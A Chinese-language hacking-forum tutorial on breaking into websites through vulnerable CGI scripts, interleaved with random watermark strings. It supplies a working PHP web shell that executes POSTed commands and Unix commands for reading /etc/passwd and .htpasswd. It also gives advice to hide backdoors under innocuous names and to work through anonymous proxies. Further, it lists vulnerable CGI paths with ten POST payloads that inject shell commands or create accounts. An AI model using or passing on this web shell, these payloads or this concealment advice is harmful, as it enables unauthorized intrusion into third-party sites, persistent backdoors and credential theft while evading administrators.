CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
$ f/ J* ?, S- o9 D很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
/ ~3 m) M8 F  [$ W& H! w+ e1 y我会长长来玩的
7 O2 R2 O0 g9 R; _前言:
% P" K$ E$ O# `; I. K/ \以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
/ B( y$ }' e. Y我门都知道 国外伺服器大多是linux 平台
' p/ c/ ~9 A  E/ Z$ k% Y; @所以有很多网站程序有6成都会使用cgi 脚本来管理
5 x# a. K$ v6 @( k目录为/cgi-bin/

只是个人在实务上一些经验
写的不好 请多多见谅喔
$ Q" D2 J' X$ K* O6 e+ D在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手
% {( _- w* U. F; E5 n) ^
( R$ |/ B& ?2 u- _以下内容跟帖回复才能看到
5 h$ j6 d8 ^* T4 d3 h) m==============================
9 L7 p0 K, |! C
7 B/ b+ \0 t4 W4 w/ p4 q/ C第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
0 ^/ q/ o" o6 c/ O% hA shell is the program which reads user input from the command line and executes actions based upon that input.
1 v: `. E$ J7 n8 k* g9 Q意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

- R1 d! C4 T$ L% ~6 m7 \# x( ]( _  e0 V对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

0 u& B+ F+ ^0 m; `2 u* I第2部份: Unix 指令
& Y) {1 {' T& j1 ^; H5 W& n以下是一些常见及重要的指令:
/ A" _# S  q7 o, hpwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
3 h- S% ]+ Q' l) T1 `5 p" \ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
* C2 J  b, W: M! x2 N! C7 B3 kcat: 显示档案内容
1 [+ d" S0 u* W, ^, hcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
' Q% f& b3 y8 f8 _- Mwho: 显示谁login 至系统
man: 显示指令用法  
' b( b$ L: D, r( \man ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
/ h, [4 Q7 x1 X. L6 c7 emv 移动档案
rm 删除档案
  p  ?$ s. \; c) l% M* {: j
0 w. n1 c5 w3 z' z( S! \第3部份: Shell的使用
% f, P3 Z8 v! @, q3 E9 Q5 X( R+ f例如:
http://site.com/refer.php
0 R! j3 D2 o7 ~# }4 \" t8 g% t这是我的後门, 原代码如下:
# ]2 t( R2 h6 O- E2 C<Form Action="#" Method="POST">
<Input type="text" name="cmd">
- q! E$ U. ]& y0 N9 S" s<Input type="Submit">
, Q& {, B2 H2 Q8 K</Form>
<?php
$cmd = $_POST['cmd'];
! w6 V4 O+ w8 x& m' K$Output = shell_exec($cmd);
echo $Output;
/ K1 y* R; f9 P& H5 Z  c4 V?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

$ w* L' K, f2 r5 Q: p3 l# Q) Q' `第4部份: 注意事项
" o# _7 k$ v) ~7 r( _$ B- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
+ M" D: {2 W' A( z- T5 f- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
) x6 h9 J. {5 M8 q- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
: K) s7 U* Q; }& q- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
- \3 o4 s  C  N这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
开始讲解脚本入侵过程:
$ C% c6 S3 V9 d2 }" p在这里提供一些方法思路让大家学习一下
, E2 H+ X8 m( a% r
+ A& l( s# j  L+ @3 q7 I1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
5 v! I$ T# `% S1 a: i扫洞工具 如:triton..等等
$ m& Q3 [! f; L) Y4 k2 h& SE表
如
9 n' M- Y8 \/ |; Y1 V; b: e% ^/cgi-bin/add-passwd.cgi
; t  _6 w; u+ W6 F/WebShop/templates/cc.txt
/Admin_files/order.log
7 X' n- i1 [0 J' Z) s/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
) s6 W3 j# R0 \, r: Y) d+ W" z/htbin/cart.pl
  O1 x' Z; ]3 b+ `1 b1 C6 ~E表来源可以是网路收寻或是自己的0 day

+ Z6 M- u2 R& m2.怎样确认扫到的洞 是真的还假的?
0 o0 m: W$ u6 t' n" y2 T举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
3 }3 ~7 H& V! K没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
* l; F2 O* y, P- i6 `% p; U我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
2 `: J* v2 u6 R; g8 d% \: z) f
以下我提供10个 cgi 洞以及使用方法post
; M& r% E% O" e8 ~' c: }# V让大家可以针对网站去做扫描  
& A) Q5 a3 d5 t& A- p2 `/index.cgi
wei=ren&gen=command
. f( |% {% [7 v. F# C/passmaster.cgi
, j8 p0 w! L! zAction=Add&Username=Username&Password=Password
, A- S% t+ {+ N7 v/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
% d. d( S. x7 S/form.cgi
& |+ W3 }, o7 T, |* s, z% |name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/ w& u4 e; h  x0 Y+ f! s; _; U/ @/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
3 T! }. d& \6 {; l7 I, _, K9 opost_values=username:password
/count.cgi
7 `7 \9 ?1 Q0 r4 Rpinfile=|echo;ls -la;exit|
/recon.cgi
. w9 x; @" ^' u$ K, v/recon.cgi?search
& {3 ~  W1 J; S) C. |& r; g  Dsearchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
3 L& k) h6 t' ]! y* V# jvercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
. H" y' Y+ t3 Z. H
- ?% Z3 N3 m. ^8 g2 H. `# `" m% B- _今天就讲到这  感谢大家支持
3 k% a+ v/ R$ Q+ Y2 w5 p